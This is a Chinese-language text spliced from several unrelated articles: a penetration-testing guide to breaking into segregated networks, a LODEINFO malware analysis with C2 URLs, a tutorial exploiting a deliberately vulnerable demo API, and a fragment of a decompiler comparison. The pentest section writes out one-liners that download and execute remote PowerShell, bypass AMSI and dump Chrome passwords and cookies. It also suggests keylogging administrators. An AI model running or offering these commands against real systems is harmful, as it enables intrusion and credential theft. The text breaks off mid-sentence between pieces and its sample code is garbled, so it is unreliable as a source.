在這兩種情況下,我們根本不需要任何用戶進行枚舉。如果在雙宿主主機上啟用了NetBIOS,我們可以使用工具nextnet 枚舉它的第二個網絡接口。如果你看一下README,用法很簡單:

$nextnet192.168.100.0/24

{'host':'192.168.100.22','port':'137','proto':'udp','probe':'netbios','name':'Horst-PC','nets':['192.168.100.22','10.10.15.22'],'info':{'domain':'office.local','hwaddr':'15:ee:a8:e4:10:a0'}}從輸出信息中可以看到,第二個網絡接口的IP 地址為10.10.15.22。所以我們找到了一個雙宿主主機。這種掃描可能導致誤報,因為任何系統都可以有VPN網絡接口、虛擬機接口等。 Airbus CyberSecurity 在2020 年發布了一篇關於該主題的oxid resolver 博客文章。他們還提供了一個PoC 工具,用於通過IOXIDResolver 接口查找遠程網絡。後來,Vincent LE TOUX 將這種枚舉技術集成到了Pingcastle 中,這使得整個域中所有系統的網絡接口的枚舉變得非常容易。只需啟動它,切換到掃描儀菜單並選擇a-oxidbindings,然後選擇1-all:

5.JPG

我自己也竊取了這段代碼,使其作為獨立的二進製文件工作,SharpOxidResolver準備用於C2。

如果沒有參數,它將在當前域中搜索計算機並獲取所有計算機的綁定。

你也可以通過一個主機名或ip地址來掃描這個特定的目標:

SharpOxidResolver.exe192.168.100.22如果你的目標雙宿主主機未加入域,則必須在服務級別或Web 應用程序級別搜索漏洞以對其進行破壞。你還可以枚舉有關(可能使用的)遠程域的信息。

我剛剛遇到了另一種具有相應工具的技術,可用於查找雙宿主主機,使用cornershot 。

暴露服務中的漏洞在網絡獨立運行中,我們經常向客戶詢問有意通過防火牆允許的目標網絡服務。在極少數情況下,會使用任意塊規則。獨立網絡中最常用的服務如下:

SMB 或SAMBA 共享(端口445):多次用於網絡之間的數據交換;

HTTP/HTTPS Webserver (80,443) :用於數據可視化或狀態監控的Web 應用程序;

MySQL (3306) 或MSSQL (1433) 數據庫:數據交換;

8.JPG

如果你發現端口445 具有網絡共享,則需要執行通常的枚舉或利用步驟。此處的關鍵字將是通過空會話、密碼噴灑或僅分析共享中的數據(如果可訪問)來擺脫循環。在最壞的情況下,攻擊者可以通過SMB 服務創建橫向移動來破壞具有高權限用戶的系統。

查找Web 應用程序漏洞絕對是一個太大且超出本文範圍的主題。但是我們在過去發現了關鍵的Web 應用程序漏洞,這使我們能夠破壞Web 服務器並通過這些漏洞進入目標網絡。

終端服務器或直接訪問我們在不同環境中看到的另一件事是專用終端服務器用作跳轉主機來管理遠程網絡。如果客戶端告訴我,終端服務器正在使用中,我幾乎可以肯定,獲得訪問權限只是時間問題。我們看到的終端服務器實現的常見錯誤如下:

1.未使用多因素身份驗證。 RDP 登錄憑據保存在客戶端系統上。如果客戶端受到威脅,攻擊者可以通過憑據轉儲或鍵盤記錄訪問終端服務器。

2.Internet DMZ 網絡中的終端服務器,想像一個可訪問網絡的系統受到威脅。如果DMZ 系統本身沒有完全相互隔離,攻擊者將可以通過受感染的主機訪問終端服務器服務,例如RDP/SMB/WMI 等。

一些客戶告訴我,他們的終端服務器激活了某種Kiosk 模式。而且我總是告訴他們:¯\_(ツ)_/¯。

其他人根本不使用任何終端服務器,而是直接允許遠程桌面協議、VNC 或其他身份驗證協議。如果你直接允許任何身份驗證協議,攻擊者獲取相應憑據只是時間問題。

共享基礎架構組件在某些項目中,我們還看到了使用Office-IT 共享基礎架構組件的獨立網絡。在這些案例中,我們對Office-IT 的攻擊導致了單獨的網絡攻擊:

1.共享WSUS 服務器:可在此處使用WSUSpendu 等工具向獨立網絡中的系統提供惡意虛假更新。

2.Active Directory 信任:這個利用路徑應該是直截了當的

3.共享DNS 服務器:破壞DNS 服務器的攻擊者可以進入獨立網絡系統的中間人位置(如果他們被允許連接到遠程網絡或Internet)。這在最壞的情況下也可能導致系統攻擊。

4.共享防病毒服務器:根據使用的防病毒軟件,攻擊者可以通過中央服務器破壞連接的客戶端或服務器。 PoC工具的一個例子是在本例中McAfee的BADministration。

5.共享軟件清單服務器:如果你使用第三方軟件進行更新和軟件安裝,中央服務器的危害也可能被濫用以在獨立網絡中的主機上安裝惡意軟件包。

9.JPG

因此,你應該始終向客戶端請求共享的基礎設施組件。手動找到這些可能需要更多的努力,而不僅僅是問這個問題。通常情況下,他們想知道他們的弱點,而你想找到他們。對雙方都有利。如果你有一個黑箱方法,它是關於檢查所有這些可能的組件和它們連接的設備/客戶端/服務器。

防火牆被破壞如果你已經在Office-IT 域中獲得了高權限,則可以進行一些枚舉以查找系統管理員。根據環境,尤其是在較小的環境中,管理員很可能是Domain Admins 組的成員,並且擁有個性化的帳戶。這是一個不好的做法,但讓我們很快找到它們。

netgroup'DomainAdmins'/domain如果使用了跳轉服務器,你可以通過過濾Bloodhound中的大多數管理會話系統來找到它。否則,系統可能在它的描述字段,甚至在主機名中有一個跳轉或管理員。我將只展示AD-Module的枚舉方式,它可以通過以下方式導入:

iex(new-objectnet.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1')or

Import-ModuleActiveDirectoryPowershell腳本基本上是通過Assembly:load解碼和導入的AD-Module DLL base64,所以它可以在任何客戶端或服務器上工作,而無需額外安裝。然後你可以用以下命令查詢計算機的描述字段:

Get-ADComputer-Filter{Description-Like'*admin*'}-PropertiesDescription|SelectDescription或者

Get-ADComputer-Filter{Name-Like'*admin*'}|SelectName防火牆也可能有與Active Directory相關的組,因為防火牆管理員有一個單獨的電子郵件收件箱或文檔的網絡共享。

Get-AdGroup -Filter {name-like '*firewall*'-and name-like '*sophos*'-and name-like '*anyothervendor*'}

你還可以在網絡共享、電子郵件、Intranet/Sharepoint等中找到有關管理帳戶或跳轉主機的信,很多枚舉方法也和往常一樣。

在找到正確的組或用戶後,你可以通過任何橫向移動技術(如SMB/WMI/WinRM等)破壞系統或跳轉主機。我個人經常通過查找保存在瀏覽器中的密碼成功獲得防火牆證書。任何瀏覽器都有工具,在寫這篇文章的時候最常用的瀏覽器是Chrome,所以我要展示我認為最好的工具——SharpChromium:

AMSIBypassiex(new-objectnet.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')Invoke-SharpChromium-Command'logins'如果用戶沒有保存憑據但登錄到防火牆管理頁面,你還可以通過以下方式轉儲cookie:

Invoke-SharpChromium-Command'cookies'並使用擴展Cookie 編輯器將它們導入你自己的瀏覽器。這也授予身份驗證。要轉儲用戶憑據,你通常需要在用戶上下文中執行該工具。或者,你可以使用SYSTEM 的主密鑰解密所有DPAPI 密鑰。這需要一個SYSTEM shell,例如LaZagne 就是這樣做的。要在用戶上下文中獲取shell,你可以使用令牌模擬或將C2-Stager shellcode 注入目標用戶的進程。我只是專門為此目的構建了一個自定義的TokenVator 工具,它將在大約一個月內公開發布。 SharpImpersonation

如果使用單點登錄進行身份驗證,你也可以只轉儲用戶憑據並使用他的域帳戶登錄。任何其他遠程系統管理軟件也可以保存所需的憑據,因此請查看MobaXterm、MremoteNG、WinSCP 等。如果你有足夠的時間,鍵盤記錄用戶遲早也會給你憑據。

獲得防火牆憑據後,可以通過添加自己的訪問規則來訪問獨立的網絡。

從Office IT(也就是域管理)進行枚舉並不是最終目標

一些客戶,他們不願意給我們任何關於網絡或基礎設施的信息。因此,我們不得不堅持“黑匣子”的方法,自己尋找所有必要的信息。因此,在通過Common vulnerability提升特權後,我們必須搜索關於獨立網絡的信息。

緩解措施最高的保護將來自物理隔離,而不是使用防火牆。這將消除本文中除了實際站點安全和員工意識之外的所有風險。

如果不需要,請禁用敏感網絡的互聯網訪問和遠程網絡訪問。如果完全隔離,許多風險就會自動消失。

如果不需要,不要使用雙宿主主機。如果你沒有別的選擇,那就使用主機防火牆來阻止來自不需要訪問的系統的任何流量。針對少數需要訪問的設備的白名單應該是最合適的。攻擊者從連接的系統竊取憑證的風險仍然存在。

最好的保護措施顯然是完全不開放端口。

不要重複使用來自其他(未受保護的)網絡的任何基礎設施組件,這可能導致敏感網絡受到攻擊。

在客戶端或跳轉主機上的任何軟件中保存憑據都不是一個好主意,使用MFA的密碼管理器代替。還應該對跳轉主機進行加固,使攻擊者更難訪問它們。

使用來自不同供應商的兩個防火牆。我們分析了環境,其中客戶IT團隊只管理第一個,而第二個由第三方供應商管理。這幾乎完全消除了通過利用或提取憑證來破壞防火牆的風險。

abstract_digital_japan-1200x600.jpg自2019年以來,卡巴斯基一直在跟踪涉及LODEINFO惡意軟件家族的活動,尋找迭代版本,並徹底調查利用這些新變體的任何攻擊。 LODEINFO是一種複雜的無文件惡意軟件,最在2020年2月就被發現被命名了。惡意軟件被開發人員定期修改和升級,專門針對日本的媒體、外交、政府和公共部門組織和智庫。

1.png

日本可能是LODEINFO的主要目標

此後,研究人員繼續追踪LODEINFO。 JPCERT/CC和Macnica Networks都報導過其迭代版本。卡巴斯基研究人員還在2021 HITCON會議上分享了新發現,涵蓋2019年至2020年的LODEINFO活動。

在2022年3月,卡巴斯基研究人員觀察到一個Microsoft Word文件被用作一些攻擊的感染媒介。同年6月,針對日本政府或相關機構的SFX文件被發現,文件中使用了日本著名政治家的名字,並使用了含有日本內容的誘餌文件。還觀察到一個名為DOWNIISSA的新的下載程序shellcode,用於部署LODEINFO後門。

接下來,我們將首先介紹新的感染方法的技術分析,如SFX文件和DOWNIISSA以及我們的發現。之後將介紹LODEINFO後門的技術分析,以及每個版本的後門的相關shellcode。

初始感染:VBA + DLL側加載在對2022年3月的攻擊進行調查期間,我們發現了一封帶有惡意附件的魚叉式釣魚電子郵件,其中安裝了惡意軟件持久性模塊,該模塊由合法的EXE文件和通過DLL側加載技術加載的惡意DLL文件組成。例如,以下部分描述了一個上傳到Virustotal的惡意Microsoft Word文件(MD5: da20ff8988198063b56680833c298113)。一旦目標打開惡意文檔文件,就會顯示一條日語消息:根據您的網絡安全設置,單擊上面黃色文檔欄上的“啟用編輯”和“啟用內容”以打開該文件。誘餌受害者點擊“啟用內容”並啟用嵌入式宏。

2.png

欺騙目標點擊“啟用內容”並嵌入VBA代碼日文信息

嵌入的VBA代碼創建文件夾C:\Users\Public\TMWJPA\,並在同一文件夾中釋放一個名為GFIUFR.zip (MD5: 89bd9cf51f8e01bc3b6ec025ed5775fc)的壓縮文件。 GFIUFR.zip包含兩個文件:NRTOLF.exe和K7SysMn1.dll。 NRTOLF.exe (MD5: 7f7d8c9c1b6735807aefb0841b78f389)是一個數字簽名的合法EXE文件,來自K7Security Suite軟件,用於DLL側加載。 K7SysMn1.dll (MD5: cb2fcd4fd44a7b98af37c6542b198f8d)是NRTOLF.exe附帶加載的惡意DLL。惡意DLL文件包含LODEINFO shellcode的加載程序。這個DLL是一個已知的LODEINFO加載程序模塊。它包含一個由0.5.9版本內部識別的單字節XOR加密LODEINFO外殼代碼。在我們調查的前幾次攻擊中,攻擊者也使用了這種感染方法。

除此之外,我們還發現了另外兩個與LODEINFO相關的植入程序。

初始感染2:SFX + DLL側加載其中一個植入程序是RAR格式的自解壓存檔(SFX)文件(MD5 76cdb7fe189845a0bc243969dba4e7a3),該文件也上傳到了Virustotal。類似地,歸檔文件包含三個文件,分別為1.docx、K7SysMn1.dll和K7SysMon.exe,其中包含如下所示的自解壓腳本命令。惡意軟件開發者還添加了一條用日語寫的評論,可以翻譯為“以下評論包含一個自解壓腳本命令”:

3.png

當目標用戶執行這個SFX文件時,歸檔文件將其他文件放置到%temp% dir,並將1.docx作為一個僅包含幾個日語單詞的誘餌打開,如下圖截圖所示。

4.png

來自1.docx的簡單誘餌文檔內容

在向用戶顯示一個誘餌文件時,歸檔腳本啟動K7SysMon.exe,它通過DLL側加載從K7SysMn1.dll (MD5: a8220a76c2fe3f505a7561c3adba5d4a)加載惡意DLL。 k7sysmm1 .dll包含一個BLOB,其中有一個模糊的例程,在過去的活動中沒有觀察到。嵌入式BLOB被劃分為4字節塊,每個部分存儲在DLL二進製文件的50個隨機命名的導出函數中的一個中。這些導出函數在分配的緩衝區中重構BLOB,然後使用一個單字節的XOR鍵解碼LODEINFO shellcode。

5.png

重新組裝有效負載BLOB

最終由該植入程序部署的負載是LODEINFO v0.6.3。

初始感染3:SFX + DLL側加載+額外的BLOB文件我們還發現了另一個類似的SFX文件,名為<masked>的sns電影的傳播請求。攻擊者利用了一位著名日本政治家的名字。嵌入的自解壓腳本和文件與本文的初始感染2部分中討論的前一個示例非常相似。但是,這個示例包含一個名為K7SysMon.Exe.db的附加文件。以前觀察到的加載程序模塊在可執行文件中嵌入了一個帶有加密shellcode的BLOB,但是在這個示例K7SysMn1.dll中不包含BLOB。相反,加載程序模塊讀取K7SysMon.Exe.db文件作為加密的BLOB,並解密shellcode,這是LODEINFO v0.6.3後門。 SFX文件的標題和文件的內容都是要求在SNS(社交網絡服務)上傳播這位著名政治家的視頻的內容。根據最後的歸檔時間戳,我們認為該SFX文件是在2022年6月29日通過魚叉式網絡釣魚郵件傳播的。從文件名稱和誘餌文件來看,目標是日本執政黨或相關機構。

2022年7月4日,另一個SFX文件(MD5 edc27b958c36b3af5ebc3f775ce0bcc7)被發現。存檔文件、有效載荷和C2地址與前面的示例集非常相似。唯一明顯的區別是這份誘餌文件的日文標題:投保申請。我們認為這個SFX文件可能被用來針對日本媒體公司。

初始感染4:VBA +未發現的下載程序shellcode downniissa早在2020年8月,我們發現了一個名為DOWNJPIT的無文件下載程序shellcode,這是LODEINFO惡意軟件的一個變體,並在HITCON 2021上就其進行了演示。 2022年6月,我們發現了另一個無文件下載程序shellcode,它由一個有密碼保護的Microsoft Word文件提供。文件名為增強日美同盟的威懾力和應對能力.doc。該文檔文件包含的惡意宏代碼與之前調查的樣本完全不同。打開後,該文檔文件顯示一條日文消息,以啟用以下VBA代碼。

6.png

2022年6月發現MS Word文件中的惡意VBA代碼

與過去的示例(如本文初始感染1中描述的示例)不同的是,惡意VBA宏被用來釋放DLL側加載技術的不同組件,在這種情況下,惡意宏代碼直接在WINWORD.exe進程的內存中註入並加載嵌入的shellcode。這個植入程序在過去的活動中是不存在的,shellcode也是LODEINFO v0.6.5的一個新發現的多級下載程序shellcode。

這個下載程序的shellcode完全不同於DOWNJPIT的變體。新的下載程序shellcode裡面有兩個URL:

http://172.104.112[.]218/11554.htm

http://www.dvdsesso[.]com/11554.htm

我們將這個新的下載程序命名為DOWNIISSA,其中IISSA是url中找到的文件名中的11554派生的字符串。下圖顯示了從惡意文檔文件到DOWNIISSA下載的最終有效負載的複雜感染流程。

7.png

通過DOWNIISSA的LODEINFO感染過程

如上所述,嵌入式宏生成DOWNIISSA shellcode並將其註入到當前進程(WINWORD.exe)中。主要的下載程序代碼是base64編碼的,並放在DOWNIISSA shellcode的開頭,由shellcode本身進行解碼和修補。

8.png

DOWNIISSA base64解碼和自修復

在它被解碼後,一些重要的字符串被發現是用一個字節的異或加密。例如,兩個C2目的地址用以下代碼解密。

9.png

DOWNIISSA shellcode主函數中嵌入的異或C2目的地

DOWNIISSA使用URLDownloadToFileA() API函數從URL地址下載BLOB,並將其釋放在%TEMP%/${TEMP}.tmp。然後,它將文件讀入當前進程中分配的內存中,並立即釋放下載的臨時文件。我們確認了這兩個URL都提供了相同的二進制數據,該數據與存儲在BLOB本身末尾的一字節XOR鍵進行了XOR。異或解密後,發現LODEINFO後門shellcode v0.6.5。在感染的最後階段,DOWNIISSA創建一個msiexec.exe實例,並在進程的內存中註入LODEINFO後門shellcode。

這個涉及DOWNIISSA shellcode的新感染流在之前使用LODEINFO的活動中沒有出現過,這是2022年的一個新的TTP。

除了在這個示例中找到的11554.htm文件,我們還發現了其他名稱的文件,如3390.htm, 5246.htm和16412.htm,在2022年7月託管在相同的C2服務器上。 3390.htm (MD5: 0fcf90fe2f5165286814ab858d6d4f2a)和11554.htm (MD5: f7de43a56bbb271f045851b77656d6bd)是通過downniissa惡意軟件下載的單字節異或lodeinfo v0.6.5 shellcode。每個示例的XOR鍵都在文件末尾找到。 5246.htm (MD5: 6780d9241ad4d8de6e78d936fbf5a922)和16412.htm (MD5: 15b80c5e86b8fd08440fe1a9ca9706c9)文件是單字節異或唯一數據結構。 5246.htm文件中的數據結構如下所示:

10.png

該數據結構包含三個文件的名稱:K7SysMon.exe, K7SysMn1.dll (MD5: c5bdf14982543b71fb419df3b43fbf07)和K7SysMon.exe.db (MD5: c9d724c2c5ae9653045396deaf7e3417)。這表明一個未被發現的下載程序模塊從C2下載5246.htm,以協助在受害者的設備上安裝一些嵌入式文件。

LODEINFO首次發現於2019年,LODEINFO及其感染方法不斷更新和改進,成為針對日本組織的更複雜的網絡間諜工具。 LODEINFO植入程序和加載程序模塊也不斷更新,以規避安全產品,並使安全研究人員的手動分析複雜化。

LODEINFO後門shellcode的演變如上所述,我們已經介紹了初始感染方法在不同的攻擊場景中有所不同,並且LODEINFO shellcode定期更新以用於每個感染媒介。接下來,我們將介紹2022年LODEINFO後門shellcode的改進。

卡巴斯基分別在3月、4月和6月調查了LODEINFO shellcode的新版本,即v0.5.9、v0.6.2、v0.6.3和v0.6.5。下圖顯示了該惡意軟件自發現以來的演變時間線。

2.1.png

LODEINFO發佈時間表

LODEINFO v0.5.6:使用古老的加密算法對C2通信進行多重加密這個從加載程序模塊中提取的LODEINFO v0.5.6 shellcode演示了針對某些安全產品的幾種增強規避技術,以及開發人員實現的三個新的後門命令。

在感染目標計算機之後,LODEINFO後門信標將計算機信息發送到C2,例如當前時間、ANSI代碼頁(ACP)標識符、MAC地址和主機名。信標還包含一個硬編碼密鑰(NV4HDOeOVyL),後來被古老的Vigenere密碼所使用。此外,隨機生成的垃圾數據被附加到數據的末尾,可能是為了逃避基於包大小的信標檢測。

2.2.png

在LODEINFO v0.5.6中增加了Vigenere密碼密鑰和隨機生成的垃圾數據

2021年12月,我們發現了LODEINFO v0.5.8,並進行了輕微修改,在Vigenere密碼密鑰後面添加了LODEINFO植入版本號。

用於發送數據的加密函數也被修改了,使其更加複雜。正如在前面的變體中觀察到的,它取要發送的數據的SHA512哈希值的前48個字節。然後,它使用一個等於運行時間的四字節XOR鍵XOR數據,並在數據之前進行預處理。發送的前16個字節來自另一個SHA512哈希值,這一次來自前面提到的硬編碼AES密鑰(NV4HDOeOVyL)。它在base64編碼的有效負載的末尾加密11個字節(用從“=”到“.”替換的填充),以動態生成第二個Vigenere密碼密鑰和最終生成數據的變量。 Vigenere密碼使用第二個密鑰加密base64編碼的標頭(url-safe替換了從“=”到“.”的填充)。

2.3.png

C2通信中的加密算法和數據流

最後,通過上面描述的複雜步驟,使用第二個密鑰、加密標頭和有效負載生成要發送到C2的數據。最終的數據包結構如下:

2.4.png

LODEINFO v0.5.6:用於後門命令標識符的2字節異或混淆

這次更新包括修改的加密算法和後門命令標識符,這些標識符在以前的LODEINFO shellcode中定義為四字節硬編碼值。 LODEINFO v0.5.6後門命令標識符被一個雙字節的異或操作混淆了。在比較命令標識符之前,對每個命令應用異或操作。對於每個命令,硬編碼的異或鍵不同,如下所示:

2.5.png

用於後門命令標識符的四字節堆棧字符串的兩字節異或

我們還觀察到攻擊者在LODEINFO v0.5.6及更高版本中實現了新的後門命令,如“comc”、“autorun”和“config”。 LODEINFO後門中嵌入了21條後門命令,包括3條新命令,用於控制受害主機。

LODEINFO v0.5.9:獲取API函數的哈希算法與v0.5.8相比,v0.5.9有一個新的哈希計算算法。該哈希算法被惡意軟件用來計算API函數名的哈希值,以解析函數地址。在本示例中,它似乎是由開發者開發的自定義算法。哈希計算的邏輯有一個XOR運算,在末尾有一個兩字節的鍵和一個硬編碼的XOR鍵,這在每個示例中都是不同的。

2.6.png

更改了哈希計算算法和v0.5.9中附加的雙字節異或鍵

這一修改表明,攻擊者的目標是逃避基於簽名的檢測,並使反向工程過程對安全研究人員來說更加困難。

LODEINFO v0.6.2:規避en_US環境在LODEINFO v0.6.2及更高版本中,shellcode有一個新特性,它在遞歸函數中查找受害者設備上的“en_US”區域設置,如果找到該區域設置,則停止執行。

2.7.png

如果找到“en-US”區域設置,則遞歸調用

根據卡巴斯基的調查,以及收集到的這個惡意軟件的開源情報,這些攻擊的主要目標是日本機構。因此,此功能的目的是避免在沙盒和研究人員設備上執行,這在英語語言環境中最常見。

LODEINFO v0.6.2:生成C2通信的用戶代理負責生成C2通信的用戶代理的函數也從v0.6.2更新了,惡意軟件使用以下硬編碼的格式化字符串生成用戶代理字符串,其中%s被替換為安裝的chrome.exe應用程序的版本號:

“Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36″

惡意軟件從以下其中一個文件路徑的EXE文件中獲取已安裝chrome.exe的版本號:

C:\ProgramFiles(x86)\Google\Chrome\Application\chrome.exe

C:\ProgramFiles\Google\Chrome\Application\chrome.exe

C:\Users\Administrator\AppData\Local\Google\Chrome\Application\chrome.exe

否則,如果系統上沒有這些文件,惡意軟件使用硬編碼版本98.0.4758.102創建以下用戶代理字符串:

Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/98.0.4758.102Safari/537.36

LODEINFO v0.6.2:支持在‘memory’ 命令中註入64位shellcode基於我們對該版本的深入分析,我們發現了一個非常有趣的更新,即從v0.6.2版本實現的shellcode加載方案,在處理' memory '命令的函數中。

2.8.png

檢查操作系統架構和下一個shellcode架構

在內存注入過程中,使用負責內存命令的函數執行,惡意軟件檢查第二階段shellcode的第一個字節,使用一個神奇的十六進制值確定shellcode體系結構。如果第一個字節為0xE9,則表示架構為32位。如果第一個字節為0x8D,則表示架構為64

應用程序編程接口或API 通過實現流暢的數據交換來連接我們使用的軟件和服務。他們經常交換高度敏感的信息:個人數據、用戶憑據、財務詳細信息等。這就是為什麼API 是黑客攻擊的熱門目標——根據API 安全狀況報告,91% 的公司在2020 年經歷了API 安全事件[PDF ]。

在本文中,我們概述了OWASP API 安全項目中最普遍的API 漏洞,展示了它們是如何被利用的,並提供了在開發過程中保護您的API 免受此類安全問題的方法。

最普遍的API 漏洞是什麼?在處理應用程序安全時,保護API 是關鍵任務之一,因為API 通常是攻擊者的網關。 Gartner 預測,到2022 年,API 濫用將成為最常見的黑客攻擊媒介,並將導致許多數據洩露。

根據OWASP API 安全項目提供的API 安全前10 名(2019 年)列表,通過關注API 的前10 大安全風險,優先考慮保護API 的工作。

image.png

OWASP 十大API 安全風險

了解攻擊者如何利用代碼中的弱點是在API 開發過程中防範風險的關鍵步驟之一。在本文中,我們將向您展示攻擊者究竟如何利用列表中的前六個漏洞的示例。我們不會關注最後四個API 安全挑戰,因為它們與安全機制的不當應用有關。

為了向您展示惡意行為者如何利用這些漏洞,我們創建了一個不受保護的API。我們將展示其代碼的哪些部分為黑客打開了大門,並討論瞭如何修復它們。讓我們從部署不受保護的API 開始。

創建示例API在本文中,我們將為簡單的任務管理系統創建一個API。該系統具有不同訪問級別的用戶,並允許他們執行簡單的任務。此外,該系統允許用戶管理活動:自助註冊、創建、編輯和刪除用戶帳戶。

API 將具有以下端點:

image.png

API 端點的類別

您可以使用任何Linux 發行版作為此API 的環境。要部署API,請執行以下步驟:

1.安裝Docker

2.安裝Docker Compose

3.在local.cfg 中配置電子郵件地址(您將需要此地址來發送密碼重置電子郵件)

4.轉到API 文件夾並執行docker-compose up --build 命令

您還可以從我們的GitHub 存儲庫下載此示例API 。 API 管理員帳戶的憑據是:

马云惹不起马云 用戶名:管理員

马云惹不起马云密碼:管理員

要閱讀API 文檔,請將./swagger/swagger.yaml 文件從API 上傳到Swagger Editor。部署API 後,我們可以開始利用漏洞並修復它們。

損壞的對象級授權一些API 公開對象標識符,這對於訪問控制機制至關重要。這些機制驗證用戶只能訪問他們有權訪問的資源。為了利用對象級授權被破壞的API,攻擊者在API 調用中更改請求資源的身份驗證數據並獲取對受保護數據的訪問權限。

在我們的示例API 中,只有用戶自己和管理員可以查看用戶的帳戶詳細信息。此外,我們在API 開發期間添加了一個安全漏洞,並確保GET /user 端點包含對象級授權漏洞。為了檢測它,我們需要:

马云惹不起马云註冊兩個用戶

马云惹不起马云 通過POST /login 端點以user1 身份登錄系統

马云惹不起马云獲取身份驗證令牌

我們使用這個請求登錄系統:

image.png

API 使用以下數據響應我們的請求:

image.png

這是我們的身份驗證令牌:

image.png

如果我們可以獲取令牌,我們可以使用它通過GET /user 端點請求user2 數據:It was originally published on https://www.apriorit.com/

image.png

我們易受攻擊的API 使用user2 數據進行響應:

image.png

如果我們的API 受到對象級授權攻擊的保護,它將使用以下消息響應GET /user 端點請求:

image.png

損壞的用戶身份驗證用戶身份驗證問題可能允許攻擊者冒充用戶、訪問他們的個人數據並濫用訪問權限。通常,此類漏洞隱藏在密碼重置機制中。讓我們看看如何在API 中利用損壞的用戶身份驗證。

我們首先執行這個密碼重置請求:

image.png

請求成功通過後,我們將收到一封電子郵件,其中包含四位數的重置代碼至user@mail.com。之後,我們可以提出以下請求來更改密碼:

image.png

API 不限制嘗試輸入重置代碼的次數,這就是為什麼為註冊到user@mail.com的用戶帳戶獲取新密碼特別容易的原因。要猜測重置代碼,我們只需要編寫一個腳本,嘗試使用從0000 到9999 的所有代碼:It was originally published on https://www.apriorit.com/

image.png

當腳本輸入正確的重置代碼時,我們將收到包含新密碼的響應:

image.png

通過利用這個對象級授權漏洞,我們可以獲取擁有該郵箱的用戶的登錄信息,登錄到他們的賬戶,然後更改郵箱。

在我們的示例API 中,存在一個安全威脅,它允許我們使用相同的重置代碼多次重置用戶的密碼。我們可以使用代碼1111 傳遞此請求,並隨時更改用戶密碼:

image.png

過多的數據暴露當開發人員為API 和客戶端之間的通信實施通用機制時,可能會出現此API 安全漏洞。在這種情況下,API 可能會向客戶端發送比它需要的更多的數據,客戶端必須過濾數據並隱藏用戶不相關的信息。攻擊者可以嗅探此流量並從中提取敏感信息:身份驗證令牌、帳號、電子郵件地址等。

為了在我們的API 中演示此漏洞,我們將從GET /task 端點請求任務的ID 和有關用戶的完整信息。這個端點應該只返回任務ID,但讓我們看看會發生什麼。

這是我們的要求:

image.png

以下是GET /task 端點的響應方式:

image.png

如果攻擊者截獲此響應,他們將獲得API 擁有的有關用戶的所有信息,即使這些信息在API 的客戶端中不可用。

缺乏資源和速率限制API 可以使用CPU、RAM 和磁盤資源來處理請求。開發者通常會根據應用程序的業務邏輯來選擇分配給API 的資源。如果攻擊者設法繞過業務邏輯限制以造成API 必須處理的請求超出其設計目標的情況,則應用程序將耗盡資源並開始出現故障或變得不可用。

在我們的API 中,GET /tasks 包含此漏洞。該端點支持分頁——將RAM 中的數據存儲在硬盤上。攻擊者可以濫用此功能來重載API。

假設應用程序在一頁上顯示10 個任務。顯示任務的請求將如下所示:

image.png

攻擊者可以使用放大的大小參數發送自己的請求以重載API:

image.png

如果數據庫中分配給請求任務的用戶的任務過多,API 將過載,導致拒絕服務。

功能級別授權損壞錯誤配置的授權機制允許攻擊者未經授權訪問敏感資源並竊取、編輯或創建新用戶帳戶。為了檢測此漏洞,攻擊者發送請求以訪問他們不應訪問的對象。

我們將GET /admin/users 端點添加到我們的API 以演示此漏洞。此端點返回在應用程序中註冊的所有用戶的數據,而不檢查誰請求了數據(用戶或管理員)。以下是此類請求的示例:

image.png

GET /admin/users 端點使用以下代碼進行響應:

image.png

批量分配一些開發人員設計他們的API 以在將來自應用程序的輸入綁定到代碼和內部對象時自動分配對象屬性。許多框架提供批量分配功能以幫助加快開發速度。

這種方法對開發人員來說很方便,但它也允許用戶更改他們不應訪問的對象屬性。此外,攻擊者可以嘗試猜測對象屬性或根據他們的要求用新的屬性替換它們。如果API 容易受到此類請求的攻擊,攻擊者可以獲取有關敏感對象的信息、閱讀文檔或修改數據對象。

在我們的API 中,用戶對象存在這個漏洞。它有一個帶有兩個可能值的user_type 參數:user和administrator。當人們自己在我們的應用程序中註冊時,他們的帳戶默認分配用戶值。但是,我們的API 允許用戶通過PUT /user 請求更改此值。通過這種方式,攻擊者可以獲得管理員權限。

要利用此漏洞,我們必須使用此請求註冊用戶:

image.png

之後,我們將收到包含用戶帳戶詳細信息的響應:It was originally published on https://www.apriorit.com/

image.png

然後,我們需要將user_type 字段更改為admin:It was originally published on

image.png

API 將響應更新的用戶數據:

image.png

這樣,user4 將獲得管理員訪問權限。 It was originally published on https://www.apriorit.com/

結論緩解OWASP API 安全項目中的安全問題對於確保應用程序的保護至關重要。為了優先考慮測試程序並節省一些時間,您可以專注於查找和修復我們在本文中討論的最普遍的漏洞。

前言本次測試對比是為了呈現incinerator與PNFSofteware出品的JEB以及國內出品GDA在Android逆向工程能力的對比,從而讓大家更好更直觀的了解相關的詳細信息

本次測試對比的產品信息如下:

Incinerator: 1.0.0

JEB:3.19.1.202005071620

GDA:3.9.0

注:文章編寫日期與發佈時間有一定時間間隔,所以以下內容並不代表各產品的後續性能指標。

反編譯器對循環結構的還原能力測試Test1第一個測試中,設計了循環頭和鎖節點都為二路條件循環結構,為了測試循環結構化分析能力,多嵌套了幾個if語句(代碼標號為基本塊號)。程序簡單如下:

publicvoidtest1(inty,inta){

while(y0){

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

}

}

流程图.png

編寫testdemo將代碼段生成apk後,並分別使用JEB、GDA、Incinerator來進行反編譯操作,從而進行代碼可讀性和語義準確性上的對比,如下圖所示:

95f762e41272c0aa3a7fe3914c2bdf56

test1

通過上述對比可以看出在語義準確性上,JEB發生了語義錯誤,在a 100時,丟失了a *=5的代碼塊,Incinerator與GDA保持了語義的準確性。

在代碼可讀性上,三者相差不大可讀性都很好。 Incinerator在if-else上做了相應的優化,可讀性略有提升。

在代碼還原度上,Incinerator做了對應優化,GDA重複聲明了a、y變量,其他方面最為接近源碼。而JEB存在代碼塊丟失。

